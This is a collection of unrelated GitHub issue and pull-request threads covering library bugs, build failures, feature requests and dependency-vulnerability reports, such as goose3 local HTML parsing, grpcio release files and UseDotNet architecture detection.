Returning null vs throwing

Many parsing methods return null rather than throwing. I think throwing an error is nicer to write code for as a user and is closer to what Node.js does (ex. new URL('invalid') throws). Here I've rewritten the basic example from the readme the way it would be if it no longer returned null:
const input = '!hello world "cool stuff" --foo --bar=baz a b c';
const lexer = new lexure.Lexer(input)
    .setQuotes([
        ['"', '"'],
        ['“', '”']
    ]);

try {
    const res = lexer.lexCommand(s => s.startsWith('!') ? 1 : null);

    console.log(res);
} catch (error) {
    console.error('Bad input:', error);
}

If Lexure is having an error parsing that should be reflected in the code. This also has the added benefit of making return types cleaner since there's no more Whatever | null.
Interesting in hearing your thoughts on this.

I actually outlined parts of the reason in the cookbook, but to clarify:
I'm a big believer in type safety. And | null is much more type safe than throwing an error since it is explicitly in the type, which means you have to handle it if you are using TS which checks for that. Not only that, with the addition of ?? and ?., it is super convenient to handle it, as those can be put in expressions instead of requiring two blocks.
This is also why I use Option and Result in certain parts. You can read about that in the link above.
Let me know if you have more questions.

That makes sense to me. I suppose if we could tell what exceptions could be thrown at compile-time this might be different.


how do I see the ".log" in the Application Log? (Android32)

Your Question
I just want to know because that's where "No logs Available" comes out

this is a launcher issue, so i've moved it there.
some devices have disabled logging (for whatever reason) and that's probably what happened here. please say what device and version of android you're using - it helps with debugging...

I was able to activate the Geode logs, I just went to the settings of my phone, then to developer options and I looked for something about a log buffer and left it at the maximum and so I activated the Geode logs :v


Backbone 1.3.3 have old underscore as dependency.

When I am installing backbone 1.3.3 using npm it installs underscore 1.7.0 as dependency instead latest 1.8.3. In this reason I am getting error when trying to define view for example. (_.create is not a function)

That shouldn't be possible. Likely a problem with your local npm modules
https://github.com/jashkenas/backbone/blob/1.3.3/package.json#L16


Railgun not working on Station

Minecraft Version: 1.10.2
is this the latest curseforge build? YES
Explain issue in detail:
No crash, just not functioning feature. The RailGun (Orbital) is working from Moon to Station orbitting Panet and from Moon to Station orbitting Moon. But I cannot make it work from the Station back to the Moon regardless where I park the station.
Is this intentional? Should it work only from Station to Planet or it just isn't ment to work from Station at all?

Is this still a issue? Please comment if it is and i will reopen if if you are unable? We are closing old issues to see what is still relevant and needs to be fixed.


[LOC] See also (ja-jp) is Broken

ja-jp:https://docs.microsoft.com/ja-jp/officeonlineserver/apply-software-updates-to-office-online-server

en-us:https://docs.microsoft.com/en-us/officeonlineserver/apply-software-updates-to-office-online-server

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7182ae01-c978-29fc-6fcf-52f60fa59aad
Version Independent ID: e2dfe89c-59e7-8e32-ee18-e0b346527b43
Content: Apply software updates to Office Online Server
Content Source: OfficeOnlineServer/apply-software-updates-to-office-online-server.md
Product: office-online-server
GitHub Login: @santanu-wac
Microsoft Alias: samukhe

Duplicate #40
Close #44


Password viewable in plain text

Currently if you open your outgoing/incoming account settings you are able to unhide the password field to show the password in plain text.  Maybe I am wrong but I believe this is poor security practice.

Fixed in #5584

@ByteHamster In the latest release 5.807 I can still unhide the passwords without any authentication?


Check integrity of the binary when already installed

Is your feature request related to a problem? Please describe.
When using tenv <tool> detect, tenv is only reading through path and filenames to determine if a version of the tool is already installed, without checking its integrity as it does during installation. I think it might be a good security measure.
Describe the solution you'd like
The tenv <tool> detect checks the integrity of the tool if already installed. Examples:

Already installed and has integrity$ tenv tg detect
Found compatible version installed locally : 0.66.9
Checking integrity...
Downloading https://github.com/gruntwork-io/terragrunt/releases/download/v0.66.9/SHA256SUMS
Checksum OK!
Terragrunt 0.66.9 will be run from this directory.

Already installed but has an incorrect checksum$ tenv tg detect
Found compatible version installed locally : 0.66.9
Checking integrity...
Downloading https://github.com/gruntwork-io/terragrunt/releases/download/v0.66.9/SHA256SUMS
Checksum failed! Warning: this could be a malicious binary.

Describe alternatives you've considered

Add a CLI flag to enable/disable this behavior (e.g. --checksum/--no-checksum)
Add a separate command to tenv to do the checksum (e.g. tenv <tool> check)

Additional context
When using containers in CI pipelines for example, one could pre-load binaries during the image build to save time and bandwidth, but still using tenv during runtime to check for their integrity. Since IaC tools are particularly sensitive and generally have high privileges, they can be a target of attacks with malicious binaries.

One question regarding "one could pre-load binaries ". Does it mean, that during the build these binaries will be installed by tenv? If so, it's possible to implement your request, otherwise, we have to detect PATHs for Terraform/Terragrunt/Atmos/Tofu somehow.

Yes, when I mean "pre-load binaries" it would be with tenv to preserve consistency. Using tenv for installation would imply using tenv later for integrity checking.

In such case I think that we can implement this feature; it looks useful!

OpenTofu checksums are linked to archive, which is not convenient, and if we compute a specific checksum for the binary, where do we store it to ensure it will not be corrupted too?


Carter can’t move in the narrow area.

Hello,
We can succeeded to run below demo.
https://github.com/NVIDIA-ISAAC-ROS/isaac_ros_nvblox/blob/main/docs/tutorial-human-reconstruction-isaac-sim.md
But Robot(Carter) sometimes go into narrow area.
Then the Carter can't move like below;

Question:
Are there any recommended way to solve this problem?
--
Best regards,

You may have to tune your costmap parameters to adjust how much the boundary around obstacles is inflated. In your scenario, it looks like the robot size is larger than the available freespace between the two obstacles, causing the robot to get stuck. You might also modify the parameters for the motion planner to ensure that the entire path is clear before proceeding between obstacles.

Hello,
Thank you very much for your kindness.
I really appreciate your help.
I'd like to check the behavior with your guide.
Question:
　- Could you tell us how to change  the costmap parameters?
We would appreciate if you tell us which file (xx.py?)  should be modified to tune the costmap parameters of below demo.
https://github.com/NVIDIA-ISAAC-ROS/isaac_ros_nvblox/blob/main/docs/tutorial-human-reconstruction-isaac-sim.md
--
Best regards,

Hi there.  In particular the parameters you should look at are those related to the nvblox costmap plugin. One easy thing you could try is to reduce the robot radius here: https://github.com/NVIDIA-ISAAC-ROS/isaac_ros_nvblox/blob/main/nvblox_examples/nvblox_examples_bringup/config/nav2/nav2_isaac_sim.yaml#L178
Other parameters in that file could also be worth trying, for example the obstacle inflation distance: https://github.com/NVIDIA-ISAAC-ROS/isaac_ros_nvblox/blob/main/nvblox_examples/nvblox_examples_bringup/config/nav2/nav2_isaac_sim.yaml#L178


Publish subscription state from ApplicationModel

Right now Symbolic leans heavily on the SwiftUI StoreKit support which means accessing subscription state is decentralised and not available to the model objects.
It might be cleaner to track the subscription state in ApplicationModel using Transaction.currentEntitlements and Transaction.updates and then update the view modifiers to use this state instead.
If I adopt this approach, it's important to make sure the implementation takes into acocunt:

multiple active subscriptions resulting from family sharing
expired and revoked subscriptions
renewals
price increase consent

The WWDC '23 talk on SwiftUI and StoreKit is a good reference for how we're doing things right now (https://developer.apple.com/videos/play/wwdc2023/10013/).

Subscriptions aren’t a thing any more. Closing as won’t fix.


add liveness, readiness and resources in k8s examples

For the b.gcr.io/endpoints/endpoints-runtime:0.3 container is there an endpoint to test for liveness and/or readiness?
And what resources does it need?

For readiness and, perhaps, liveness probe, you can use "/endpoints_status" on the status port, which is 8090 by default:
  readinessProbe:
        httpGet:
          path: /endpoints_status
          port: 8090

Note that /endpoints_status triggers some minimal stats collection, so it's probably better to define another endpoint that just returns 200. We added one by default recently, but it's not released yet.
If you have a custom nginx config, you can also add another location manually.


[BUG] Builds failing due to compile-time errors introduced in RemoteClusterRepository.kt for Repository class

What is the bug?
CCR gradle builds are failing with the below mentioned error since yesterday.
 ./gradlew assemble
Starting a Gradle Daemon (subsequent builds will be faster)
=======================================
OpenSearch Build Hamster says Hello!
  Gradle Version        : 8.4
  OS Info               : Linux <IP_ADDRESS>-microsoft-standard-WSL2 (amd64)
  JDK Version           : 11 (Ubuntu JDK)
  JAVA_HOME             : /usr/lib/jvm/java-11-openjdk-amd64
  Random Testing Seed   : 5C3DD7AD5EFF1789
  In FIPS 140 mode      : false
=======================================

> Task :compileKotlin FAILED
e: file:///path/CCR/opensearch-project-cross-cluster-replication/src/main/kotlin/org/opensearch/replication/repository/RemoteClusterRepository.kt:83:1 Class 'RemoteClusterRepository' is not abstract and does not implement abstract member public abstract fun finalizeSnapshot(p0: ShardGenerations!, p1: Long, p2: Metadata!, p3: SnapshotInfo!, p4: Version!, p5: Function<ClusterState!, ClusterState!>!, p6: Priority!, p7: ActionListener<RepositoryData!>!): Unit defined in org.opensearch.repositories.Repository
e: file:///path/CCR/opensearch-project-cross-cluster-replication/src/main/kotlin/org/opensearch/replication/repository/RemoteClusterRepository.kt:125:5 'finalizeSnapshot' overrides nothing

FAILURE: Build failed with an exception.

* What went wrong:
Execution failed for task ':compileKotlin'.
> A failure occurred while executing org.jetbrains.kotlin.compilerRunner.GradleCompilerRunnerWithWorkers$GradleKotlinCompilerWorkAction
   > Compilation error. See log for more details

Details:
Branch: main, Platform: linux
How can one reproduce the bug?
Steps to reproduce the behavior:

Clone the latest project git@github.com:opensearch-project/cross-cluster-replication.git
Run gradle assemble
./gradlew assemble

Do you have any additional context?
This issue is seen since this PR #15124 is merged in Opensearch repo 5d ago. The finalizeSnapshot method of the class Repository.java has an additional new argument Priority which needs to be passed while invoking this function.
In CCR, the RemoteClusterRepository.kt class overrides the finalizeSnapshot method and this now needs to be updated to add Priority field too.
I locally made this one change and it resolved the gradle build issue.

https://github.com/opensearch-project/cross-cluster-replication/pull/1438
This will fix this issue


node-red iobroker adapter can't generate ssh key

Current Behavior
Hi,
I would like to connect my flow with github.
To connect the flow with a github repo I need to generate a SSH key.
The problem is now, that it's not showing any key after pressing "Schlüssel generieren".
In the logs I can't find any errors.
What is the root cause?

Node-red Version 3.0.2
Expected Behavior
I would expect a generated key, which I can use for a github repo.
Steps To Reproduce
No response
Example flow
paste your flow here

Environment

Node-RED version: 3.0.2
Node.js version:
npm version:
Platform/OS:iobroker
Browser:chrome

Can I suggest this gets raised in the forums, and that you share your flow with others to try? An issue raised here implies that a bug is causing your fault, but we haven't seen enough to know that is the case.


Opening local files

How can I open a local HTML file?
This currently doesn't work and gives me:

requests.exceptions.MissingSchema: Invalid URL './pa.html': No schema supplied. Perhaps you meant http://./pa.html?

Which version of goose3 are you using? Parsing a local html file just requires specifying that you are passing raw html:
from goose3 import Goose

# read html_file into local_html
with Goose() as g:
    article = g.extract(raw_html=local_html)

I have seen something like this when the local html file has relative image url's that are being parsed. Try turning off image parsing:
from goose3 import Goose

# read html_file into local_html
with Goose({'enable_image_fetching': False}) as g:
    article = g.extract(raw_html=local_html)

I've compiled the git version of goose3. Maybe I'm already too tired:
from goose3 import Goose
url = '/work/parse/test.html'
file = open(url, "r")
g = Goose
article = g.extract(raw_html=file)
print(article.title)

TypeError: extract() missing 1 required positional argument: 'self'

A couple different things:

goose3 doesn't accept file objects. the raw_html parameter is a string parameter.
If the code you posted is what you are using, you set g to the Goose object and haven't actually initialized g

To extract from a file one would need to do the following:
from goose3 import Goose
url = '/work/parse/test.html'
with open(url, 'r') as f:
    html_str = f.read()
g = Goose()
article = g.extract(raw_html=html_str)
print(article.title)

@eigenwillig did this resolve your issue? If so, I would like to close out the ticket. Thanks!


Connecting/Disconnecting - Constantly

I have streamlink installed & its in the system path.
I have tried with dozens of models but it constantly says Connecting then diconnected
Never downloads any videos.
Any advice?
v2.0.0-beta.3

Are you able to manually open streams through the commandline, using streamlink?

No clue how to do that on windows. I installed streamlink, made sure it was in the system path.
Unzipped v2.0.0-beta.3 ran cb-downloader-v2.exe  added live models and it says  Connecting then diconnected constantly.

You need to copy that file into, e.g. C:\Program Files (x86)\Streamlink\pkgs\streamlink\plugins\
This is now a streamlink issue so I will be closing this.


Update express.d.ts

added baseUrl and app property to express.Request.

@DerKnerd Thanks mate!

@horiuchi no problem, thank you. Without this repository I couldn't develop with TypeScript as good as I can :smile:

:+1:


Redesign persistence to support sharded/partitioned SQL database

Is your feature request related to a problem? Please describe.
Initially we wanted to design our SQL layer to support sharded/partitioned SQL DB. Hence all query are intentially using shardID and avoid doing cross shard query. Even though we haven't found a real use case yet.
However, in PR https://github.com/uber/cadence/pull/4059 seems like we have to do cross shard query. Otherwise it will introduce a lot more complexity to the code.
We will this keep issue open, until we find some real use case of sharded SQL database in the future.
Proposed Solution
A clear and concise description of what you want to happen.
N/A
Additional context
Add any other context or screenshots about the feature request here.
N/A

The current SQL interface/implementation works with sharded SQL (Uber iss going to use it), and we need to keep it that way.
We need to fix #4059 so it does not rely on cross shard operations (query might be fine, but definitely no transactions)


Unable to install Python package grpcio

What version of gRPC and what language are you using?
gRPC 1.21.0
Python 3.6.4
What operating system (Linux, Windows,...) and version?
OSX
What runtime / compiler are you using (e.g. python version or version of gcc)
Python 4.6.4
pip 19.1.1
What did you do?
I ran
$pip install grpcio==1.21.0
What did you expect to see?
grpcio to be installed
What did you see instead?
Collecting grpcio==1.21.0
ERROR: Could not find a version that satisfies the requirement grpcio==1.21.0 (from versions: 0.4.0a0, 0.4.0a1, 0.4.0a2, 0.4.0a3, 0.4.0a4, 0.4.0a5, 0.4.0a6, 0.4.0a7, 0.4.0a8, 0.4.0a13, 0.4.0a14, 0.5.0a0, 0.5.0a1, 0.5.0a2, 0.9.0a0, 0.9.0a1, 0.10.0a0, 0.11.0b0, 0.11.0b1, 0.12.0b0, 0.13.0, 0.13.1rc1, 0.13.1, 0.14.0rc1, 0.14.0, 0.15.0, 1.0.0rc1, 1.0.0rc2, 1.0.0, 1.0.1rc1, 1.0.1, 1.0.2rc0, 1.0.2, 1.0.3, 1.0.4, 1.1.0rc1, 1.1.0, 1.1.3, 1.2.0rc1, 1.2.0rc2, 1.2.0, 1.2.1, 1.3.0, 1.3.3, 1.3.5, 1.4.0rc1, 1.4.0, 1.6.0rc1, 1.6.0, 1.6.3, 1.7.0rc1, 1.7.0, 1.7.3, 1.8.0rc1, 1.8.0rc2, 1.8.0rc3, 1.8.1, 1.8.2, 1.8.3, 1.8.4, 1.8.6, 1.9.0rc1, 1.9.0rc2, 1.9.0rc3, 1.9.0, 1.9.1, 1.10.0rc1, 1.10.0rc2, 1.10.0, 1.10.1rc1, 1.10.1rc2, 1.10.1, 1.11.0rc1, 1.11.0rc2, 1.11.0, 1.11.1rc1, 1.11.1, 1.12.0rc1, 1.12.0, 1.12.1, 1.13.0rc1, 1.13.0rc2, 1.13.0rc3, 1.13.0, 1.14.0rc1, 1.14.0rc2, 1.14.0, 1.14.1, 1.14.2rc1, 1.14.2, 1.15.0rc1, 1.15.0, 1.16.0rc1, 1.16.0, 1.16.1rc1, 1.16.1, 1.17.0rc1, 1.17.0, 1.17.1rc1, 1.17.1, 1.18.0rc1, 1.18.0, 1.19.0rc1, 1.19.0, 1.20.0rc1, 1.20.0rc2, 1.20.0rc3, 1.20.0, 1.20.1, 1.21.0rc1)
ERROR: No matching distribution found for grpcio==1.21.0

I just found this too!

Yes, last release doesn't seem to have all the files.

Compare the files available for the 1.20.1 release: https://pypi.org/project/grpcio/1.20.1/#files
with the files for the 1.21.0 release: https://pypi.org/project/grpcio/1.21.0/#files.
For some reason there's only wheels uploaded for some Python 2.7 distributions. There aren't any Python 3.x or source distributions available.

We ran into an issue that prevented us from uploading all of our artifacts to PyPI. We're working on a fix for that. In the meantime, we've deleted the 1.21.0 release on PyPI so we don't cause any issues downstream. In the next couple of days, we'll be releasing a 1.21.1 patch.

grpcio 1.21.1 has been uploaded. Thanks everyone for reaching out.


Parsing error: Expecting property name

I've scanned some host with testssl and the resulting json file causes a parsing error.
Line 291 has a missing "finding" property, which results into the error.
Here is the testssl.sh json file (extension renamed to log; IP changed):
example_testssl_file.log
Best regards

Guess it's a testssl.sh bug, where the "banner_server" id has no "finding" property, but the script nonetheless appends the "," delimiter.

Not sure why that happened. There was a bug when the server side supplied a blank. Please update and try.
Otherwise I would need a real IP. And an issue filed upstream would be great.


Dash in name not parsed properly

names like Jay - Berserk are not highlighted/displayed properly
probably related to split("-")

Fix pushed - commit


Integrate Local database (SQLite) for offline support

[ ] Store all API response in local DB (Inside remote data source, we have to call local data source to store the data)
[ ] When controller call to repository for data, repository will check it first at local data source. If available simply return it and then call to remote data source. When remote data source get response from server, it should update local data source.
[ ] In offline mode user can see the previous stored data
[ ] Make a favorite icon in repository list item. This favorite data will store in local db.
[ ] All favorite repositories will be shown in Favorite page (middle of the bottom tab)

Hello, I am eagerly waiting for these functionalities to be added to flutter_getx_template. Can anyone tell when this will be implemented?

Hello, I am eagerly waiting for these functionalities to be added to flutter_getx_template. Can anyone tell when this will be implemented?

Ing Sha Allah you will get it within next week.

@Shuvo1260 Please let me know if you are working on this. also I can help with implementing sqlite in the architecture.

@jitenders859 You're welcome to contribute here. You can clone, develop and create a PR. We will review and merge it.

@shafayathossain Sure will clone and try to contribute.

@shafayathossain can I use hive instead of sqlite

We want to implement floor package here. Shuvo is working on it.

Thank you @hasancse91 for very good template :)
I'm not sure whether local database was implemented by Shuvo ?


Cannot add middleware after an application has started

This share link expires in 72 hours. For free permanent hosting and GPU upgrades (NEW!), check out Spaces: https://huggingface.co/spaces
Traceback (most recent call last):
File "launch.py", line 361, in
start()
File "launch.py", line 356, in start
webui.webui()
File "/content/stable-diffusion-webui/webui.py", line 232, in webui
app.add_middleware(GZipMiddleware, minimum_size=1000)
File "/usr/local/lib/python3.8/dist-packages/starlette/applications.py", line 135, in add_middleware
raise RuntimeError("Cannot add middleware after an application has started")
RuntimeError: Cannot add middleware after an application has started
Killing tunnel <IP_ADDRESS>:7860 <> https://76dc6223-199c-46e3.gradio.live/
fastapi to 0.90 and it works fine.
Can you repair this problem?

Cannot reproduce.
Did you change any of the settings or did you use the default?

Fixed in the latest commit


Response Content-Length mismatch

Hello, Im getting this error - Exception Message : Response Content-Length mismatch: too many bytes written (3469 of 2937).

The docker is deployed on an azure app service. I'm using html route "/forms/chromium/convert/html", and got this error.
Any leads is appreciated!

Do you have more details? Does it happen on the demo instance (https://demo.gotenberg.dev)?

We increased cpu and memory of the app service and it now works!


WIP: Rename DirectoryStore's file/directory to delete

Before deleting a file or directory in DirectoryStore, rename it beforehand so that others are not tempted to touch it while it is being deleted.

The goal is to make sure that if an Array is in the process of being written to, this will block users from touching it in an incomplete state. This should be thought of in conjunction with PR ( https://github.com/zarr-developers/zarr/pull/248 ).
I'm not sure that I would want it merged in its current state (even with a test) as it is helpful for some use cases, but harmful for others. Will need to give it some thought.

Thanks for the explanation! Detection of unsupported operations are always better than silently corrupting data. I have no more objections right now.

Of course. Glad that helped.
Thanks for asking about it. Helped me mull over this idea a bit more. Will try to refine it a bit more and we can discuss it again once it's ready for another look (if you are interested).

That just about sums it up, @alimanfoo. This change alone isn’t really enough, but it’s a starting point.

Re synchronization, to be clear, you are concerned about a situation where one parallel worker deletes an array and another worker tries to write to the array at the same time? If so, is this theoretical or a real use case for you?
Re NFS performance, I am surprised

...that rename is slower than remove. We have NFS v4 on our cluster so I can try it on Monday but just wondering if you have any timing data?


Custom text editors do not free up untitled models

Add a command to the existing custom editor sample extension
{ 	"command": "catCustoms.catScratch.new", 	"title": "Create new Cat Scratch Document", 	"category": "Cat Scratch" }
register command in extension.ts
vscode.commands.registerCommand('catCustoms.catScratch.new', () => { 	vscode.workspace.openTextDocument({ language: 'catScratch', content: '' }).then(doc => { 		vscode.commands.executeCommand("vscode.openWith", doc.uri, "catCustoms.catScratch"); 	}); });

Open command palette and select Create new Cat Scratch Document - Untitled-1 tab opens
Close opened editor
Repeat 1. - Untitled-2 opens

Bug is in step 3, since Untitled-1 was previously closed name should be free for the new untitled file

I saw this recently and forgot to follow up: there is an easier repro for this and I think somewhere when custom text editors were added, we forgot to deal with untitled models properly. I think they are not getting freed up.
Steps:

revert my change in https://github.com/microsoft/vscode/commit/7686b52a823e231dacda4e86d86932998cafab19
run out of sources
select File > New File
you should get a picker to pick an editor
click ESC to close picker
repeat

=> 🐛  you see Untitled-2 and this continues

@lramos15 I think this will be part of your work: with the new override handling moving out of the editor group I think this should be fixed as well because we will no longer create an untitled editor input before the override has happened 👍

Optimistically closing. I wasn't able to get the repro steps above to work, but when I create new untitled files with the hex editor the number no longer increments.

I repro this with the original steps

@bpasero or @mjbvz I think I need some help with this one, I'm not sure where these models are getting created / why they're sticking around. I don't really see this else where just in this particular open flow.

Untitled text models typically get created through the IUntitledTextEditorModelManager.create method, but in theory you can also ask the IEditorService#createEditorInput method to create a untitled editor input with associated model for you when you pass in no resource and give contents in the arguments.
I am not sure where in custom editor land untitled files are created.

It seems like openTextDocument creates a model, and then openWith creates a second one. I fixed properly disposing the openWith model here https://github.com/microsoft/vscode/commit/9f32d376b02dfcffa3e70d316d0f95524aea4c55 (At least I think, I'm not sure if it's expected that the editor input would be disposed in this service). However, I have no way to handle the openTextDocument model disposing as that isn't handled by the editor service flow. Seems like this feature request might cleanup this flow https://github.com/microsoft/vscode/issues/93441

I would argue that it should be the IEditorService that creates EditorInput from the untyped ones and that one should properly be disposed if it gets overridden by the editor override service. We are probably not there yet because we still allow someone to pass in an EditorInput to the IEditorService and then have questionable lifecycle issues.
As soon as everyone only uses untyped editor inputs, the lifecycle is a lot clearer and owned only by editor service and editor override service.

I have renamed the issue. I think https://github.com/microsoft/vscode/issues/121101 would probably fix this. The gist is that we should stay away from creating UntitledTextEditorInput in the editor service before the overrides because it is possible that an override kicks in and then the untitled text editor was created for no good reason and possibly leaks.

I think this can be closed?

I can still reproduce the issue with the original steps.

Ah the steps aren't the same since custom editors don't properly implement the untitled factory yet. I'm not sure the best way to verify this @bpasero but I know it no longer creates the untitled input.

This should be the steps:

install GH issue extension notebook
from command line start vscode on a *.github-issues file that does not exist
it should open a issue notebook editor
close that
File > New File
it should be "Untitled-1"


Typescript language erroneously reports issues in Problems pane

VSCode Version: 1.12.2
OS Version: Mac 10.12.3

First, just wanted to say thanks for making such a great product. I've been using VSCode regularly for over a year now and it's just been getting better and better.
Steps to Reproduce:

Start Typescript build task in watch mode.
Several erroneous issues are reported in the Problem pane (see screenshot).

Go to file with reported problem. Problem is no longer reported.

More info:

Using Typescript 2.3.2 using Workspace copy.
I noticed that whenever I run into these erroneous Typescript errors - when I try running tsc  from the CLI, none of these erroneous type errors appear which is why I thought this issue might be with VSCode and not Typescript itself.

@wwwillchen In the build task, are you also using the version of typescript / tsc from the workspace ?

I'm using the tsc from workspace.

Do you have a tsconfig.json? Try opening one of your TS files and running TypeScript: go to project configuration to see where it goes too. Another possible cause of this error is that the task is using different compile settings from the editor is using for error reporting


[BUG]: UseDotNet task installs x64 build on Mac OS arm64

On a macOS arm64 (M1/M2) build agent, the task incorrectly detects the architecture as x64, and downloads the x64 build of .NET. It can run successfully via the Rosetta compatibility mode, but is probably not what anyone wants, and defeats the purpose of using a (more expensive) Mac M1 build agent.
Task name
UseDotNet
Task version
2.228.0
Environment type (Please select at least one enviroment where you face this issue)

[ ] Self-Hosted
[x] Microsoft Hosted
[ ] VMSS Pool
[ ] Container

Azure DevOps Server type
dev.azure.com (formerly visualstudio.com)
Azure DevOps Server Version (if applicable)
No response
Operation system
macOS 12.6.9
Task log
Tool to install: .NET Core sdk version 8.0.x.
Found version 8.0.100-rc.2.23502.2 in channel 8.0 for user specified version spec: 8.0.x
Version 8.0.100-rc.2.23502.2 was not found in cache.
Getting URL to download .NET Core sdk version: 8.0.100-rc.2.23502.2.
Detecting OS platform to find correct download package for the OS.
/Users/runner/work/_tasks/UseDotNet_b0ce7256-7898-45d3-9cb5-176b752bfea6/2.228.0/externals/get-os-distro.sh
Primary:osx-x64
Legacy:osx-x64
Detected platform (Primary): osx-x64
Detected platform (Legacy): osx-x64
Downloading: https://download.visualstudio.microsoft.com/download/pr/2cb4fcbd-ba5d-41c4-9907-8120aa4b5f23/98fd104ada4105462cefb1123a0df533/dotnet-sdk-8.0.100-rc.2.23502.2-osx-x64.tar.gz

Aditional info
This appears to be caused by an incomplete list of ARM64 detection strings in
get-os-distro.h get_machine_architecture()
Specifically, uname -m returns arm64 on a Mac arm64 (M1/M2) system.
Reference: https://stackoverflow.com/questions/65259300/detect-apple-silicon-from-command-line

This is currently an issue for me on my self-hosted macstudio agent. It causes my net8-ios build to freeze and eventually time out. This has been plaguing our builds for months. My workaround is to not run the UseDontNet task if on the self-hosted agent, but would prefer if it would install the correct dotnet version.

The change has been merged and will be in the next release of the task.  Thank you for the contribution!

@merlynomsft when will this get released? It was merged 2 weeks ago but I still see task 2.232.0 being used on my ADO runs.

We roll out task updates incrementally, that said, this update should show up soon.  @max-zaytsev, do you have an estimate when this will be available to everyone?

@svaldetero the fix should be available now.


allow offline signing

accept opt.keypair.publicKey + opt.sig as an alternative to opts.keypair.publicKey + opts.keypair.secretKey

also

create a util function that exposes the data to be signed based on the inputs
expose a signing convenience function as well

done https://github.com/hyperswarm/hypersign


dcp ussfile to PDS member does not translate text to EBCDIC

zoaversion reports:
2021/03/26 15:44:32 CUT V1.1.1
dcp /u/myuser/myussfile MYUSER.DATA.PDS(MYFILE)
Where myussfile is one line of text and member MYFILE does not exist in the PDS.  For the ussfile, the chtag command reports:

chtag -p myusssfile
t ISO8859-1   T=on  myussfile

The dcp command does not translate the text in the USS file (ISO8859-1) to EBCDIC in the PDS. and also does not strip the trailing new line character.  IDCAMS reports the text thusly:
IDCAMS  SYSTEM SERVICES                                           TIME: 21:18:18        12/20/21     PAGE      2
LISTING OF DATA SET -MYUSER.DATA.PDS
RECORD SEQUENCE NUMBER - 1
000000  5A4D4F42 20353031 2C393137 2C393137   0A404040 40404040 40404040 40404040
Is there any option to the dcp command that will perform this copy the right way (ISO8859-1 to IBM1047)?  I tried adding the -T option to the dcp command line but that resulted in no member being created at all.
TIA for any assistance you can offer.
Peter

Never mind, I figured it out - the uss file must first be converted to IBM1047 using iconv and then use dcp -T option to copy to the PDS.
Sorry for the wasted bandwidth, I will close this issue.
Peter


Issue #1407 : Auto select identity based on X-Original-To / Delivered-To / X-Envelope-To / TO / CC

As @Valodim suggested here checking for X-Original-To and Delivered-To also before To and Cc which would solve Issue #1407 .

Thanx for review .  I have added the required tests .

Hey @philipwhiuk would you please review the changes and give  me feedback on this .

I changed tests from AndroidTest to Roboelectric which is way better than I thought .
Also I have modified the code style by importing k-9 code style.

Thanks @YESALAM - I've rebased and merged this in under #2454


[Snyk] Fix for 2 vulnerabilities

This PR was automatically created by Snyk using the credentials of a real user.Snyk has created this PR to fix one or more vulnerable packages in the `maven` dependencies of this project.
Changes included in this PR

Changes to the following files to upgrade the vulnerable dependencies to a fixed version:

jena-integration-tests/pom.xml

Vulnerabilities that will be fixed
With an upgrade:

Severity
Priority Score (*)
Issue
Upgrade
Breaking Change
Exploit Maturity

509/1000  Why? Has a fix available, CVSS 5.9
Improper Input Validation SNYK-JAVA-ORGAPACHECOMMONS-5901530
org.apache.jena:jena-rdfconnection:  4.9.0-SNAPSHOT -> 4.10.0
No
No Known Exploit

579/1000  Why? Has a fix available, CVSS 7.3
Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') SNYK-JAVA-ORGAPACHEJENA-6043134
org.apache.jena:jena-text:  4.9.0-SNAPSHOT -> 4.9.0
No
No Known Exploit

(*) Note that the real score may have changed since the PR was raised.
Check the changes in this PR to ensure they won't cause issues with your project.

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open fix PRs.
For more information:
🧐 View latest project report
🛠 Adjust project settings
📚 Read more about Snyk's upgrade and patch logic

Learn how to fix vulnerabilities with free interactive lessons:
🦉 Improper Input Validation
🦉 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Checkmarx One – Scan Summary & Details – 73c32155-6b85-47d0-8a0d-4e8f1c39f73d
New Issues

Severity
Issue
Source File / Package
Checkmarx Insight

CVE-2022-46337
Maven-org.apache.derby:derby-<IP_ADDRESS>
Vulnerable Package

CVE-2023-36478
Maven-org.eclipse.jetty:jetty-http-10.0.15
Vulnerable Package

CVE-2023-43646
Npm-get-func-name-2.0.0
Vulnerable Package

CVE-2023-45133
<EMAIL_ADDRESS>Vulnerable Package

CVE-2024-23331
Npm-vite-4.0.4
Vulnerable Package

Cxab55612e-3a56
Npm-braces-3.0.2
Vulnerable Package

Cxca84a1c2-1f12
Npm-micromatch-4.0.5
Vulnerable Package

CVE-2023-26159
Npm-follow-redirects-1.15.2
Vulnerable Package

CVE-2023-36479
Maven-org.eclipse.jetty:jetty-servlets-10.0.15
Vulnerable Package

CVE-2023-40167
Maven-org.eclipse.jetty:jetty-http-10.0.15
Vulnerable Package

CVE-2023-42503
Maven-org.apache.commons:commons-compress-1.23.0
Vulnerable Package

CVE-2023-44270
Npm-postcss-8.4.21
Vulnerable Package

CVE-2023-45857
Npm-axios-0.27.2
Vulnerable Package

CVE-2023-46749
Maven-org.apache.shiro:shiro-web-1.11.0
Vulnerable Package

CVE-2023-46750
Maven-org.apache.shiro:shiro-web-1.11.0
Vulnerable Package

CVE-2024-26308
Maven-org.apache.commons:commons-compress-1.23.0
Vulnerable Package

Improper_Restriction_of_Stored_XXE_Ref
/jena-iri/src/test/java/org/apache/jena/iri/TestMoreExamples.java: 239
Attack Vector

Improper_Restriction_of_Stored_XXE_Ref
/jena-iri/src/test/java/org/apache/jena/iri/TestCreator.java: 81
Attack Vector


List.sortBy function

x Is new feature

Description of suggestion or shortcoming:
A List.sortBy function would be useful. It could naively first work like it does with lodash.
https://lodash.com/docs/4.17.15#sortBy
List.sortBy(myList, {|e| e.age})

List.sortBy(myList, {|e| e.age})

This won't be enough if you need to sort on two fields or do something more complicated.
How about an optional comparator, List.sort(myList, {|e1, e2| e1.age < e2.age })? We'd need to implement < and > on strings, but we should do that anyway.

That works too. Do you feel fine about `sort()`` taking both 1 and two arguments?

Do you feel fine about `sort()`` taking both 1 and two arguments?

Yeah, that's fine.
But also: right now we only have sort implemented on numbers, and we could have List.sort(number[]) and List.sort(any[], compareFn).
Calling a compare function implemented in Squiggle is still going to be slower than extracting a field and then sorting numbers, you're right. Compare version would be log(N) times slower than your initial proposal, and List.sortBy(myList, "age") would be much faster than both.

Lodash allows for either a set of strings or a function. I assume we could eventually do similar.

